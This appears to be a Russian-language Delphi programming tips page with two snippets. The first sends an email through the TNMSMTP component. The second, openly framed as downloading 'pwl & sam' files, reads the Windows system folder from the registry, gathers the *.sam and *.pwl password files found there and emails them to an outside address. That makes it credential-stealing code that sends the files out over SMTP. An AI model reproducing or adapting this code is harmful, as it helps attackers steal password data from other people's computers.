|
Новые вопросы
|
1. Отправка сообщения по email
2. Поиск нужных файлов и отправка их
|
|
Отправка сообщения по email
|
Используем компонент : TNMSMTP
NMSMTP1.Host := 'server'; // пример smtp.mail.ru
NMSMTP1.Port := 25;
NMSMTP1.UserID := 'ID';
NMSMTP1.Connect;
NMSMTP1.PostMessage.ToAddress.Text := 'name@server.com';
NMSMTP1.PostMessage.Body.Text := Memo1.Text;
NMSMTP1.SendMail;
|
|
Поиск нужных файлов и отправка их
|
Используем компонент : TNMSMTP
Будем скачивать файлы pwl & sam
reg : TRegistry;
f : TSearchRec;
St : String;
NMSMTP1 : TNMSMTP;
Memo1 : TMemo1;
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion',false);
St := reg.ReadString('SystemRoot');
reg.CloseKey;
if FindFirst(st+'\*.sam',faAnyFile,f) = 0 then
repeat
NMSMTP1.PostMessage.Attachments.Add(st+'\'+f.Name);
until FindNext(f) <> 0;
if FindFirst(st+'\*.pwl',faAnyFile,f) = 0 then
repeat
NMSMTP1.PostMessage.Attachments.Add(st+'\'+f.Name);
until FindNext(f) <> 0;
NMSMTP1.Host := 'server'; // пример smtp.mail.ru
NMSMTP1.Port := 25;
NMSMTP1.UserID := 'ID';
NMSMTP1.Connect;
NMSMTP1.PostMessage.ToAddress.Text := 'name@server.com';
NMSMTP1.PostMessage.Body.Text := Memo1.Text;
NMSMTP1.SendMail;
|
Проблемы и решения в
Delphi